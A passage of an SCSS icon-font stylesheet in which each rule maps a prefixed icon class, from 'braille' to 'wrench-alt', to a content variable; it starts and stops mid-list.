.#{$el-css-prefix}-icon-braille:before, .#{$el-css-prefix}-braille:before { content: $el-var-braille; } .#{$el-css-prefix}-icon-briefcase:before, .#{$el-css-prefix}-briefcase:before { content: $el-var-briefcase; } .#{$el-css-prefix}-icon-broom:before, .#{$el-css-prefix}-broom:before { content: $el-var-broom; } .#{$el-css-prefix}-icon-brush:before, .#{$el-css-prefix}-brush:before { content: $el-var-brush; } .#{$el-css-prefix}-icon-bulb:before, .#{$el-css-prefix}-bulb:before { content: $el-var-bulb; } .#{$el-css-prefix}-icon-bullhorn:before, .#{$el-css-prefix}-bullhorn:before { content: $el-var-bullhorn; } .#{$el-css-prefix}-icon-calendar-sign:before, .#{$el-css-prefix}-calendar-sign:before { content: $el-var-calendar-sign; } .#{$el-css-prefix}-icon-calendar:before, .#{$el-css-prefix}-calendar:before { content: $el-var-calendar; } .#{$el-css-prefix}-icon-camera:before, .#{$el-css-prefix}-camera:before { content: $el-var-camera; } .#{$el-css-prefix}-icon-car:before, .#{$el-css-prefix}-car:before { content: $el-var-car; } .#{$el-css-prefix}-icon-caret-down:before, .#{$el-css-prefix}-caret-down:before { content: $el-var-caret-down; } .#{$el-css-prefix}-icon-caret-left:before, .#{$el-css-prefix}-caret-left:before { content: $el-var-caret-left; } .#{$el-css-prefix}-icon-caret-right:before, .#{$el-css-prefix}-caret-right:before { content: $el-var-caret-right; } .#{$el-css-prefix}-icon-caret-up:before, .#{$el-css-prefix}-caret-up:before { content: $el-var-caret-up; } .#{$el-css-prefix}-icon-cc:before, .#{$el-css-prefix}-cc:before { content: $el-var-cc; } .#{$el-css-prefix}-icon-certificate:before, .#{$el-css-prefix}-certificate:before { content: $el-var-certificate; } .#{$el-css-prefix}-icon-check-empty:before, .#{$el-css-prefix}-check-empty:before { content: $el-var-check-empty; } .#{$el-css-prefix}-icon-check:before, .#{$el-css-prefix}-check:before { content: $el-var-check; } .#{$el-css-prefix}-icon-chevron-down:before, .#{$el-css-prefix}-chevron-down:before { content: $el-var-chevron-down; } .#{$el-css-prefix}-icon-chevron-left:before, .#{$el-css-prefix}-chevron-left:before { content: $el-var-chevron-left; } .#{$el-css-prefix}-icon-chevron-right:before, .#{$el-css-prefix}-chevron-right:before { content: $el-var-chevron-right; } .#{$el-css-prefix}-icon-chevron-up:before, .#{$el-css-prefix}-chevron-up:before { content: $el-var-chevron-up; } .#{$el-css-prefix}-icon-child:before, .#{$el-css-prefix}-child:before { content: $el-var-child; } .#{$el-css-prefix}-icon-circle-arrow-down:before, .#{$el-css-prefix}-circle-arrow-down:before { content: $el-var-circle-arrow-down; } .#{$el-css-prefix}-icon-circle-arrow-left:before, .#{$el-css-prefix}-circle-arrow-left:before { content: $el-var-circle-arrow-left; } .#{$el-css-prefix}-icon-circle-arrow-right:before, .#{$el-css-prefix}-circle-arrow-right:before { content: $el-var-circle-arrow-right; } .#{$el-css-prefix}-icon-circle-arrow-up:before, .#{$el-css-prefix}-circle-arrow-up:before { content: $el-var-circle-arrow-up; } .#{$el-css-prefix}-icon-cloud-alt:before, .#{$el-css-prefix}-cloud-alt:before { content: $el-var-cloud-alt; } .#{$el-css-prefix}-icon-cloud:before, .#{$el-css-prefix}-cloud:before { content: $el-var-cloud; } .#{$el-css-prefix}-icon-cog-alt:before, .#{$el-css-prefix}-cog-alt:before { content: $el-var-cog-alt; } .#{$el-css-prefix}-icon-cog:before, .#{$el-css-prefix}-cog:before { content: $el-var-cog; } .#{$el-css-prefix}-icon-cogs:before, .#{$el-css-prefix}-cogs:before { content: $el-var-cogs; } .#{$el-css-prefix}-icon-comment-alt:before, .#{$el-css-prefix}-comment-alt:before { content: $el-var-comment-alt; } .#{$el-css-prefix}-icon-comment:before, .#{$el-css-prefix}-comment:before { content: $el-var-comment; } .#{$el-css-prefix}-icon-compass-alt:before, .#{$el-css-prefix}-compass-alt:before { content: $el-var-compass-alt; } .#{$el-css-prefix}-icon-compass:before, .#{$el-css-prefix}-compass:before { content: $el-var-compass; } .#{$el-css-prefix}-icon-credit-card:before, .#{$el-css-prefix}-credit-card:before { content: $el-var-credit-card; } .#{$el-css-prefix}-icon-css:before, .#{$el-css-prefix}-css:before { content: $el-var-css; } .#{$el-css-prefix}-icon-dashboard:before, .#{$el-css-prefix}-dashboard:before { content: $el-var-dashboard; } .#{$el-css-prefix}-icon-delicious:before, .#{$el-css-prefix}-delicious:before { content: $el-var-delicious; } .#{$el-css-prefix}-icon-deviantart:before, .#{$el-css-prefix}-deviantart:before { content: $el-var-deviantart; } .#{$el-css-prefix}-icon-digg:before, .#{$el-css-prefix}-digg:before { content: $el-var-digg; } .#{$el-css-prefix}-icon-download-alt:before, .#{$el-css-prefix}-download-alt:before { content: $el-var-download-alt; } .#{$el-css-prefix}-icon-download:before, .#{$el-css-prefix}-download:before { content: $el-var-download; } .#{$el-css-prefix}-icon-dribbble:before, .#{$el-css-prefix}-dribbble:before { content: $el-var-dribbble; } .#{$el-css-prefix}-icon-edit:before, .#{$el-css-prefix}-edit:before { content: $el-var-edit; } .#{$el-css-prefix}-icon-eject:before, .#{$el-css-prefix}-eject:before { content: $el-var-eject; } .#{$el-css-prefix}-icon-envelope-alt:before, .#{$el-css-prefix}-envelope-alt:before { content: $el-var-envelope-alt; } .#{$el-css-prefix}-icon-envelope:before, .#{$el-css-prefix}-envelope:before { content: $el-var-envelope; } .#{$el-css-prefix}-icon-error-alt:before, .#{$el-css-prefix}-error-alt:before { content: $el-var-error-alt; } .#{$el-css-prefix}-icon-error:before, .#{$el-css-prefix}-error:before { content: $el-var-error; } .#{$el-css-prefix}-icon-eur:before, .#{$el-css-prefix}-eur:before { content: $el-var-eur; } .#{$el-css-prefix}-icon-exclamation-sign:before, .#{$el-css-prefix}-exclamation-sign:before { content: $el-var-exclamation-sign; } .#{$el-css-prefix}-icon-eye-close:before, .#{$el-css-prefix}-eye-close:before { content: $el-var-eye-close; } .#{$el-css-prefix}-icon-eye-open:before, .#{$el-css-prefix}-eye-open:before { content: $el-var-eye-open; } .#{$el-css-prefix}-icon-facebook:before, .#{$el-css-prefix}-facebook:before { content: $el-var-facebook; } .#{$el-css-prefix}-icon-facetime-video:before, .#{$el-css-prefix}-facetime-video:before { content: $el-var-facetime-video; } .#{$el-css-prefix}-icon-fast-backward:before, .#{$el-css-prefix}-fast-backward:before { content: $el-var-fast-backward; } .#{$el-css-prefix}-icon-fast-forward:before, .#{$el-css-prefix}-fast-forward:before { content: $el-var-fast-forward; } .#{$el-css-prefix}-icon-female:before, .#{$el-css-prefix}-female:before { content: $el-var-female; } .#{$el-css-prefix}-icon-file-alt:before, .#{$el-css-prefix}-file-alt:before { content: $el-var-file-alt; } .#{$el-css-prefix}-icon-file-edit-alt:before, .#{$el-css-prefix}-file-edit-alt:before { content: $el-var-file-edit-alt; } .#{$el-css-prefix}-icon-file-edit:before, .#{$el-css-prefix}-file-edit:before { content: $el-var-file-edit; } .#{$el-css-prefix}-icon-file-new-alt:before, .#{$el-css-prefix}-file-new-alt:before { content: $el-var-file-new-alt; } .#{$el-css-prefix}-icon-file-new:before, .#{$el-css-prefix}-file-new:before { content: $el-var-file-new; } .#{$el-css-prefix}-icon-file:before, .#{$el-css-prefix}-file:before { content: $el-var-file; } .#{$el-css-prefix}-icon-film:before, .#{$el-css-prefix}-film:before { content: $el-var-film; } .#{$el-css-prefix}-icon-filter:before, .#{$el-css-prefix}-filter:before { content: $el-var-filter; } .#{$el-css-prefix}-icon-fire:before, .#{$el-css-prefix}-fire:before { content: $el-var-fire; } .#{$el-css-prefix}-icon-flag-alt:before, .#{$el-css-prefix}-flag-alt:before { content: $el-var-flag-alt; } .#{$el-css-prefix}-icon-flag:before, .#{$el-css-prefix}-flag:before { content: $el-var-flag; } .#{$el-css-prefix}-icon-flickr:before, .#{$el-css-prefix}-flickr:before { content: $el-var-flickr; } .#{$el-css-prefix}-icon-folder-close:before, .#{$el-css-prefix}-folder-close:before { content: $el-var-folder-close; } .#{$el-css-prefix}-icon-folder-open:before, .#{$el-css-prefix}-folder-open:before { content: $el-var-folder-open; } .#{$el-css-prefix}-icon-folder-sign:before, .#{$el-css-prefix}-folder-sign:before { content: $el-var-folder-sign; } .#{$el-css-prefix}-icon-folder:before, .#{$el-css-prefix}-folder:before { content: $el-var-folder; } .#{$el-css-prefix}-icon-font:before, .#{$el-css-prefix}-font:before { content: $el-var-font; } .#{$el-css-prefix}-icon-fontsize:before, .#{$el-css-prefix}-fontsize:before { content: $el-var-fontsize; } .#{$el-css-prefix}-icon-fork:before, .#{$el-css-prefix}-fork:before { content: $el-var-fork; } .#{$el-css-prefix}-icon-forward-alt:before, .#{$el-css-prefix}-forward-alt:before { content: $el-var-forward-alt; } .#{$el-css-prefix}-icon-forward:before, .#{$el-css-prefix}-forward:before { content: $el-var-forward; } .#{$el-css-prefix}-icon-foursquare:before, .#{$el-css-prefix}-foursquare:before { content: $el-var-foursquare; } .#{$el-css-prefix}-icon-friendfeed-rect:before, .#{$el-css-prefix}-friendfeed-rect:before { content: $el-var-friendfeed-rect; } .#{$el-css-prefix}-icon-friendfeed:before, .#{$el-css-prefix}-friendfeed:before { content: $el-var-friendfeed; } .#{$el-css-prefix}-icon-fullscreen:before, .#{$el-css-prefix}-fullscreen:before { content: $el-var-fullscreen; } .#{$el-css-prefix}-icon-gallery:before, .#{$el-css-prefix}-gallery:before { content: $el-var-gallery; } .#{$el-css-prefix}-icon-gbp:before, .#{$el-css-prefix}-gbp:before { content: $el-var-gbp; } .#{$el-css-prefix}-icon-gift:before, .#{$el-css-prefix}-gift:before { content: $el-var-gift; } .#{$el-css-prefix}-icon-github-text:before, .#{$el-css-prefix}-github-text:before { content: $el-var-github-text; } .#{$el-css-prefix}-icon-github:before, .#{$el-css-prefix}-github:before { content: $el-var-github; } .#{$el-css-prefix}-icon-glass:before, .#{$el-css-prefix}-glass:before { content: $el-var-glass; } .#{$el-css-prefix}-icon-glasses:before, .#{$el-css-prefix}-glasses:before { content: $el-var-glasses; } .#{$el-css-prefix}-icon-globe-alt:before, .#{$el-css-prefix}-globe-alt:before { content: $el-var-globe-alt; } .#{$el-css-prefix}-icon-globe:before, .#{$el-css-prefix}-globe:before { content: $el-var-globe; } .#{$el-css-prefix}-icon-googleplus:before, .#{$el-css-prefix}-googleplus:before { content: $el-var-googleplus; } .#{$el-css-prefix}-icon-graph-alt:before, .#{$el-css-prefix}-graph-alt:before { content: $el-var-graph-alt; } .#{$el-css-prefix}-icon-graph:before, .#{$el-css-prefix}-graph:before { content: $el-var-graph; } .#{$el-css-prefix}-icon-group-alt:before, .#{$el-css-prefix}-group-alt:before { content: $el-var-group-alt; } .#{$el-css-prefix}-icon-group:before, .#{$el-css-prefix}-group:before { content: $el-var-group; } .#{$el-css-prefix}-icon-guidedog:before, .#{$el-css-prefix}-guidedog:before { content: $el-var-guidedog; } .#{$el-css-prefix}-icon-hand-down:before, .#{$el-css-prefix}-hand-down:before { content: $el-var-hand-down; } .#{$el-css-prefix}-icon-hand-left:before, .#{$el-css-prefix}-hand-left:before { content: $el-var-hand-left; } .#{$el-css-prefix}-icon-hand-right:before, .#{$el-css-prefix}-hand-right:before { content: $el-var-hand-right; } .#{$el-css-prefix}-icon-hand-up:before, .#{$el-css-prefix}-hand-up:before { content: $el-var-hand-up; } .#{$el-css-prefix}-icon-hdd:before, .#{$el-css-prefix}-hdd:before { content: $el-var-hdd; } .#{$el-css-prefix}-icon-headphones:before, .#{$el-css-prefix}-headphones:before { content: $el-var-headphones; } .#{$el-css-prefix}-icon-hearing-impaired:before, .#{$el-css-prefix}-hearing-impaired:before { content: $el-var-hearing-impaired; } .#{$el-css-prefix}-icon-heart-alt:before, .#{$el-css-prefix}-heart-alt:before { content: $el-var-heart-alt; } .#{$el-css-prefix}-icon-heart-empty:before, .#{$el-css-prefix}-heart-empty:before { content: $el-var-heart-empty; } .#{$el-css-prefix}-icon-heart:before, .#{$el-css-prefix}-heart:before { content: $el-var-heart; } .#{$el-css-prefix}-icon-home-alt:before, .#{$el-css-prefix}-home-alt:before { content: $el-var-home-alt; } .#{$el-css-prefix}-icon-home:before, .#{$el-css-prefix}-home:before { content: $el-var-home; } .#{$el-css-prefix}-icon-hourglass:before, .#{$el-css-prefix}-hourglass:before { content: $el-var-hourglass; } .#{$el-css-prefix}-icon-idea-alt:before, .#{$el-css-prefix}-idea-alt:before { content: $el-var-idea-alt; } .#{$el-css-prefix}-icon-idea:before, .#{$el-css-prefix}-idea:before { content: $el-var-idea; } .#{$el-css-prefix}-icon-inbox-alt:before, .#{$el-css-prefix}-inbox-alt:before { content: $el-var-inbox-alt; } .#{$el-css-prefix}-icon-inbox-box:before, .#{$el-css-prefix}-inbox-box:before { content: $el-var-inbox-box; } .#{$el-css-prefix}-icon-inbox:before, .#{$el-css-prefix}-inbox:before { content: $el-var-inbox; } .#{$el-css-prefix}-icon-indent-left:before, .#{$el-css-prefix}-indent-left:before { content: $el-var-indent-left; } .#{$el-css-prefix}-icon-indent-right:before, .#{$el-css-prefix}-indent-right:before { content: $el-var-indent-right; } .#{$el-css-prefix}-icon-info-circle:before, .#{$el-css-prefix}-info-circle:before { content: $el-var-info-circle; } .#{$el-css-prefix}-icon-instagram:before, .#{$el-css-prefix}-instagram:before { content: $el-var-instagram; } .#{$el-css-prefix}-icon-iphone-home:before, .#{$el-css-prefix}-iphone-home:before { content: $el-var-iphone-home; } .#{$el-css-prefix}-icon-italic:before, .#{$el-css-prefix}-italic:before { content: $el-var-italic; } .#{$el-css-prefix}-icon-key:before, .#{$el-css-prefix}-key:before { content: $el-var-key; } .#{$el-css-prefix}-icon-laptop-alt:before, .#{$el-css-prefix}-laptop-alt:before { content: $el-var-laptop-alt; } .#{$el-css-prefix}-icon-laptop:before, .#{$el-css-prefix}-laptop:before { content: $el-var-laptop; } .#{$el-css-prefix}-icon-lastfm:before, .#{$el-css-prefix}-lastfm:before { content: $el-var-lastfm; } .#{$el-css-prefix}-icon-leaf:before, .#{$el-css-prefix}-leaf:before { content: $el-var-leaf; } .#{$el-css-prefix}-icon-lines:before, .#{$el-css-prefix}-lines:before { content: $el-var-lines; } .#{$el-css-prefix}-icon-link:before, .#{$el-css-prefix}-link:before { content: $el-var-link; } .#{$el-css-prefix}-icon-linkedin:before, .#{$el-css-prefix}-linkedin:before { content: $el-var-linkedin; } .#{$el-css-prefix}-icon-list-alt:before, .#{$el-css-prefix}-list-alt:before { content: $el-var-list-alt; } .#{$el-css-prefix}-icon-list:before, .#{$el-css-prefix}-list:before { content: $el-var-list; } .#{$el-css-prefix}-icon-livejournal:before, .#{$el-css-prefix}-livejournal:before { content: $el-var-livejournal; } .#{$el-css-prefix}-icon-lock-alt:before, .#{$el-css-prefix}-lock-alt:before { content: $el-var-lock-alt; } .#{$el-css-prefix}-icon-lock:before, .#{$el-css-prefix}-lock:before { content: $el-var-lock; } .#{$el-css-prefix}-icon-magic:before, .#{$el-css-prefix}-magic:before { content: $el-var-magic; } .#{$el-css-prefix}-icon-magnet:before, .#{$el-css-prefix}-magnet:before { content: $el-var-magnet; } .#{$el-css-prefix}-icon-male:before, .#{$el-css-prefix}-male:before { content: $el-var-male; } .#{$el-css-prefix}-icon-map-marker-alt:before, .#{$el-css-prefix}-map-marker-alt:before { content: $el-var-map-marker-alt; } .#{$el-css-prefix}-icon-map-marker:before, .#{$el-css-prefix}-map-marker:before { content: $el-var-map-marker; } .#{$el-css-prefix}-icon-mic-alt:before, .#{$el-css-prefix}-mic-alt:before { content: $el-var-mic-alt; } .#{$el-css-prefix}-icon-mic:before, .#{$el-css-prefix}-mic:before { content: $el-var-mic; } .#{$el-css-prefix}-icon-minus-sign:before, .#{$el-css-prefix}-minus-sign:before { content: $el-var-minus-sign; } .#{$el-css-prefix}-icon-minus:before, .#{$el-css-prefix}-minus:before { content: $el-var-minus; } .#{$el-css-prefix}-icon-move:before, .#{$el-css-prefix}-move:before { content: $el-var-move; } .#{$el-css-prefix}-icon-music:before, .#{$el-css-prefix}-music:before { content: $el-var-music; } .#{$el-css-prefix}-icon-myspace:before, .#{$el-css-prefix}-myspace:before { content: $el-var-myspace; } .#{$el-css-prefix}-icon-network:before, .#{$el-css-prefix}-network:before { content: $el-var-network; } .#{$el-css-prefix}-icon-off:before, .#{$el-css-prefix}-off:before { content: $el-var-off; } .#{$el-css-prefix}-icon-ok-circle:before, .#{$el-css-prefix}-ok-circle:before { content: $el-var-ok-circle; } .#{$el-css-prefix}-icon-ok-sign:before, .#{$el-css-prefix}-ok-sign:before { content: $el-var-ok-sign; } .#{$el-css-prefix}-icon-ok:before, .#{$el-css-prefix}-ok:before { content: $el-var-ok; } .#{$el-css-prefix}-icon-opensource:before, .#{$el-css-prefix}-opensource:before { content: $el-var-opensource; } .#{$el-css-prefix}-icon-paper-clip-alt:before, .#{$el-css-prefix}-paper-clip-alt:before { content: $el-var-paper-clip-alt; } .#{$el-css-prefix}-icon-paper-clip:before, .#{$el-css-prefix}-paper-clip:before { content: $el-var-paper-clip; } .#{$el-css-prefix}-icon-path:before, .#{$el-css-prefix}-path:before { content: $el-var-path; } .#{$el-css-prefix}-icon-pause-alt:before, .#{$el-css-prefix}-pause-alt:before { content: $el-var-pause-alt; } .#{$el-css-prefix}-icon-pause:before, .#{$el-css-prefix}-pause:before { content: $el-var-pause; } .#{$el-css-prefix}-icon-pencil-alt:before, .#{$el-css-prefix}-pencil-alt:before { content: $el-var-pencil-alt; } .#{$el-css-prefix}-icon-pencil:before, .#{$el-css-prefix}-pencil:before { content: $el-var-pencil; } .#{$el-css-prefix}-icon-person:before, .#{$el-css-prefix}-person:before { content: $el-var-person; } .#{$el-css-prefix}-icon-phone-alt:before, .#{$el-css-prefix}-phone-alt:before { content: $el-var-phone-alt; } .#{$el-css-prefix}-icon-phone:before, .#{$el-css-prefix}-phone:before { content: $el-var-phone; } .#{$el-css-prefix}-icon-photo-alt:before, .#{$el-css-prefix}-photo-alt:before { content: $el-var-photo-alt; } .#{$el-css-prefix}-icon-photo:before, .#{$el-css-prefix}-photo:before { content: $el-var-photo; } .#{$el-css-prefix}-icon-picasa:before, .#{$el-css-prefix}-picasa:before { content: $el-var-picasa; } .#{$el-css-prefix}-icon-picture:before, .#{$el-css-prefix}-picture:before { content: $el-var-picture; } .#{$el-css-prefix}-icon-plane:before, .#{$el-css-prefix}-plane:before { content: $el-var-plane; } .#{$el-css-prefix}-icon-play-alt:before, .#{$el-css-prefix}-play-alt:before { content: $el-var-play-alt; } .#{$el-css-prefix}-icon-play-circle:before, .#{$el-css-prefix}-play-circle:before { content: $el-var-play-circle; } .#{$el-css-prefix}-icon-play:before, .#{$el-css-prefix}-play:before { content: $el-var-play; } .#{$el-css-prefix}-icon-plurk-alt:before, .#{$el-css-prefix}-plurk-alt:before { content: $el-var-plurk-alt; } .#{$el-css-prefix}-icon-plurk:before, .#{$el-css-prefix}-plurk:before { content: $el-var-plurk; } .#{$el-css-prefix}-icon-plus-sign:before, .#{$el-css-prefix}-plus-sign:before { content: $el-var-plus-sign; } .#{$el-css-prefix}-icon-plus:before, .#{$el-css-prefix}-plus:before { content: $el-var-plus; } .#{$el-css-prefix}-icon-podcast:before, .#{$el-css-prefix}-podcast:before { content: $el-var-podcast; } .#{$el-css-prefix}-icon-print:before, .#{$el-css-prefix}-print:before { content: $el-var-print; } .#{$el-css-prefix}-icon-puzzle:before, .#{$el-css-prefix}-puzzle:before { content: $el-var-puzzle; } .#{$el-css-prefix}-icon-qrcode:before, .#{$el-css-prefix}-qrcode:before { content: $el-var-qrcode; } .#{$el-css-prefix}-icon-question-sign:before, .#{$el-css-prefix}-question-sign:before { content: $el-var-question-sign; } .#{$el-css-prefix}-icon-question:before, .#{$el-css-prefix}-question:before { content: $el-var-question; } .#{$el-css-prefix}-icon-quote-alt:before, .#{$el-css-prefix}-quote-alt:before { content: $el-var-quote-alt; } .#{$el-css-prefix}-icon-quote-right-alt:before, .#{$el-css-prefix}-quote-right-alt:before { content: $el-var-quote-right-alt; } .#{$el-css-prefix}-icon-quote-right:before, .#{$el-css-prefix}-quote-right:before { content: $el-var-quote-right; } .#{$el-css-prefix}-icon-quotes:before, .#{$el-css-prefix}-quotes:before { content: $el-var-quotes; } .#{$el-css-prefix}-icon-random:before, .#{$el-css-prefix}-random:before { content: $el-var-random; } .#{$el-css-prefix}-icon-record:before, .#{$el-css-prefix}-record:before { content: $el-var-record; } .#{$el-css-prefix}-icon-reddit:before, .#{$el-css-prefix}-reddit:before { content: $el-var-reddit; } .#{$el-css-prefix}-icon-redux:before, .#{$el-css-prefix}-redux:before { content: $el-var-redux; } .#{$el-css-prefix}-icon-refresh:before, .#{$el-css-prefix}-refresh:before { content: $el-var-refresh; } .#{$el-css-prefix}-icon-remove-circle:before, .#{$el-css-prefix}-remove-circle:before { content: $el-var-remove-circle; } .#{$el-css-prefix}-icon-remove-sign:before, .#{$el-css-prefix}-remove-sign:before { content: $el-var-remove-sign; } .#{$el-css-prefix}-icon-remove:before, .#{$el-css-prefix}-remove:before { content: $el-var-remove; } .#{$el-css-prefix}-icon-repeat-alt:before, .#{$el-css-prefix}-repeat-alt:before { content: $el-var-repeat-alt; } .#{$el-css-prefix}-icon-repeat:before, .#{$el-css-prefix}-repeat:before { content: $el-var-repeat; } .#{$el-css-prefix}-icon-resize-full:before, .#{$el-css-prefix}-resize-full:before { content: $el-var-resize-full; } .#{$el-css-prefix}-icon-resize-horizontal:before, .#{$el-css-prefix}-resize-horizontal:before { content: $el-var-resize-horizontal; } .#{$el-css-prefix}-icon-resize-small:before, .#{$el-css-prefix}-resize-small:before { content: $el-var-resize-small; } .#{$el-css-prefix}-icon-resize-vertical:before, .#{$el-css-prefix}-resize-vertical:before { content: $el-var-resize-vertical; } .#{$el-css-prefix}-icon-return-key:before, .#{$el-css-prefix}-return-key:before { content: $el-var-return-key; } .#{$el-css-prefix}-icon-retweet:before, .#{$el-css-prefix}-retweet:before { content: $el-var-retweet; } .#{$el-css-prefix}-icon-reverse-alt:before, .#{$el-css-prefix}-reverse-alt:before { content: $el-var-reverse-alt; } .#{$el-css-prefix}-icon-road:before, .#{$el-css-prefix}-road:before { content: $el-var-road; } .#{$el-css-prefix}-icon-rss:before, .#{$el-css-prefix}-rss:before { content: $el-var-rss; } .#{$el-css-prefix}-icon-scissors:before, .#{$el-css-prefix}-scissors:before { content: $el-var-scissors; } .#{$el-css-prefix}-icon-screen-alt:before, .#{$el-css-prefix}-screen-alt:before { content: $el-var-screen-alt; } .#{$el-css-prefix}-icon-screen:before, .#{$el-css-prefix}-screen:before { content: $el-var-screen; } .#{$el-css-prefix}-icon-screenshot:before, .#{$el-css-prefix}-screenshot:before { content: $el-var-screenshot; } .#{$el-css-prefix}-icon-search-alt:before, .#{$el-css-prefix}-search-alt:before { content: $el-var-search-alt; } .#{$el-css-prefix}-icon-search:before, .#{$el-css-prefix}-search:before { content: $el-var-search; } .#{$el-css-prefix}-icon-share-alt:before, .#{$el-css-prefix}-share-alt:before { content: $el-var-share-alt; } .#{$el-css-prefix}-icon-share:before, .#{$el-css-prefix}-share:before { content: $el-var-share; } .#{$el-css-prefix}-icon-shopping-cart-sign:before, .#{$el-css-prefix}-shopping-cart-sign:before { content: $el-var-shopping-cart-sign; } .#{$el-css-prefix}-icon-shopping-cart:before, .#{$el-css-prefix}-shopping-cart:before { content: $el-var-shopping-cart; } .#{$el-css-prefix}-icon-shortcode:before, .#{$el-css-prefix}-shortcode:before { content: $el-var-shortcode; } .#{$el-css-prefix}-icon-signal:before, .#{$el-css-prefix}-signal:before { content: $el-var-signal; } .#{$el-css-prefix}-icon-skype:before, .#{$el-css-prefix}-skype:before { content: $el-var-skype; } .#{$el-css-prefix}-icon-slideshare:before, .#{$el-css-prefix}-slideshare:before { content: $el-var-slideshare; } .#{$el-css-prefix}-icon-smiley-alt:before, .#{$el-css-prefix}-smiley-alt:before { content: $el-var-smiley-alt; } .#{$el-css-prefix}-icon-smiley:before, .#{$el-css-prefix}-smiley:before { content: $el-var-smiley; } .#{$el-css-prefix}-icon-soundcloud:before, .#{$el-css-prefix}-soundcloud:before { content: $el-var-soundcloud; } .#{$el-css-prefix}-icon-speaker:before, .#{$el-css-prefix}-speaker:before { content: $el-var-speaker; } .#{$el-css-prefix}-icon-spotify:before, .#{$el-css-prefix}-spotify:before { content: $el-var-spotify; } .#{$el-css-prefix}-icon-stackoverflow:before, .#{$el-css-prefix}-stackoverflow:before { content: $el-var-stackoverflow; } .#{$el-css-prefix}-icon-star-alt:before, .#{$el-css-prefix}-star-alt:before { content: $el-var-star-alt; } .#{$el-css-prefix}-icon-star-empty:before, .#{$el-css-prefix}-star-empty:before { content: $el-var-star-empty; } .#{$el-css-prefix}-icon-star:before, .#{$el-css-prefix}-star:before { content: $el-var-star; } .#{$el-css-prefix}-icon-step-backward:before, .#{$el-css-prefix}-step-backward:before { content: $el-var-step-backward; } .#{$el-css-prefix}-icon-step-forward:before, .#{$el-css-prefix}-step-forward:before { content: $el-var-step-forward; } .#{$el-css-prefix}-icon-stop-alt:before, .#{$el-css-prefix}-stop-alt:before { content: $el-var-stop-alt; } .#{$el-css-prefix}-icon-stop:before, .#{$el-css-prefix}-stop:before { content: $el-var-stop; } .#{$el-css-prefix}-icon-stumbleupon:before, .#{$el-css-prefix}-stumbleupon:before { content: $el-var-stumbleupon; } .#{$el-css-prefix}-icon-tag:before, .#{$el-css-prefix}-tag:before { content: $el-var-tag; } .#{$el-css-prefix}-icon-tags:before, .#{$el-css-prefix}-tags:before { content: $el-var-tags; } .#{$el-css-prefix}-icon-tasks:before, .#{$el-css-prefix}-tasks:before { content: $el-var-tasks; } .#{$el-css-prefix}-icon-text-height:before, .#{$el-css-prefix}-text-height:before { content: $el-var-text-height; } .#{$el-css-prefix}-icon-text-width:before, .#{$el-css-prefix}-text-width:before { content: $el-var-text-width; } .#{$el-css-prefix}-icon-th-large:before, .#{$el-css-prefix}-th-large:before { content: $el-var-th-large; } .#{$el-css-prefix}-icon-th-list:before, .#{$el-css-prefix}-th-list:before { content: $el-var-th-list; } .#{$el-css-prefix}-icon-th:before, .#{$el-css-prefix}-th:before { content: $el-var-th; } .#{$el-css-prefix}-icon-thumbs-down:before, .#{$el-css-prefix}-thumbs-down:before { content: $el-var-thumbs-down; } .#{$el-css-prefix}-icon-thumbs-up:before, .#{$el-css-prefix}-thumbs-up:before { content: $el-var-thumbs-up; } .#{$el-css-prefix}-icon-time-alt:before, .#{$el-css-prefix}-time-alt:before { content: $el-var-time-alt; } .#{$el-css-prefix}-icon-time:before, .#{$el-css-prefix}-time:before { content: $el-var-time; } .#{$el-css-prefix}-icon-tint:before, .#{$el-css-prefix}-tint:before { content: $el-var-tint; } .#{$el-css-prefix}-icon-torso:before, .#{$el-css-prefix}-torso:before { content: $el-var-torso; } .#{$el-css-prefix}-icon-trash-alt:before, .#{$el-css-prefix}-trash-alt:before { content: $el-var-trash-alt; } .#{$el-css-prefix}-icon-trash:before, .#{$el-css-prefix}-trash:before { content: $el-var-trash; } .#{$el-css-prefix}-icon-tumblr:before, .#{$el-css-prefix}-tumblr:before { content: $el-var-tumblr; } .#{$el-css-prefix}-icon-twitter:before, .#{$el-css-prefix}-twitter:before { content: $el-var-twitter; } .#{$el-css-prefix}-icon-universal-access:before, .#{$el-css-prefix}-universal-access:before { content: $el-var-universal-access; } .#{$el-css-prefix}-icon-unlock-alt:before, .#{$el-css-prefix}-unlock-alt:before { content: $el-var-unlock-alt; } .#{$el-css-prefix}-icon-unlock:before, .#{$el-css-prefix}-unlock:before { content: $el-var-unlock; } .#{$el-css-prefix}-icon-upload:before, .#{$el-css-prefix}-upload:before { content: $el-var-upload; } .#{$el-css-prefix}-icon-usd:before, .#{$el-css-prefix}-usd:before { content: $el-var-usd; } .#{$el-css-prefix}-icon-user:before, .#{$el-css-prefix}-user:before { content: $el-var-user; } .#{$el-css-prefix}-icon-viadeo:before, .#{$el-css-prefix}-viadeo:before { content: $el-var-viadeo; } .#{$el-css-prefix}-icon-video-alt:before, .#{$el-css-prefix}-video-alt:before { content: $el-var-video-alt; } .#{$el-css-prefix}-icon-video-chat:before, .#{$el-css-prefix}-video-chat:before { content: $el-var-video-chat; } .#{$el-css-prefix}-icon-video:before, .#{$el-css-prefix}-video:before { content: $el-var-video; } .#{$el-css-prefix}-icon-view-mode:before, .#{$el-css-prefix}-view-mode:before { content: $el-var-view-mode; } .#{$el-css-prefix}-icon-vimeo:before, .#{$el-css-prefix}-vimeo:before { content: $el-var-vimeo; } .#{$el-css-prefix}-icon-vkontakte:before, .#{$el-css-prefix}-vkontakte:before { content: $el-var-vkontakte; } .#{$el-css-prefix}-icon-volume-down:before, .#{$el-css-prefix}-volume-down:before { content: $el-var-volume-down; } .#{$el-css-prefix}-icon-volume-off:before, .#{$el-css-prefix}-volume-off:before { content: $el-var-volume-off; } .#{$el-css-prefix}-icon-volume-up:before, .#{$el-css-prefix}-volume-up:before { content: $el-var-volume-up; } .#{$el-css-prefix}-icon-w3c:before, .#{$el-css-prefix}-w3c:before { content: $el-var-w3c; } .#{$el-css-prefix}-icon-warning-sign:before, .#{$el-css-prefix}-warning-sign:before { content: $el-var-warning-sign; } .#{$el-css-prefix}-icon-website-alt:before, .#{$el-css-prefix}-website-alt:before { content: $el-var-website-alt; } .#{$el-css-prefix}-icon-website:before, .#{$el-css-prefix}-website:before { content: $el-var-website; } .#{$el-css-prefix}-icon-wheelchair:before, .#{$el-css-prefix}-wheelchair:before { content: $el-var-wheelchair; } .#{$el-css-prefix}-icon-wordpress:before, .#{$el-css-prefix}-wordpress:before { content: $el-var-wordpress; } .#{$el-css-prefix}-icon-wrench-alt:before, .#{$el-css-prefix}-wrench-alt:before { content: 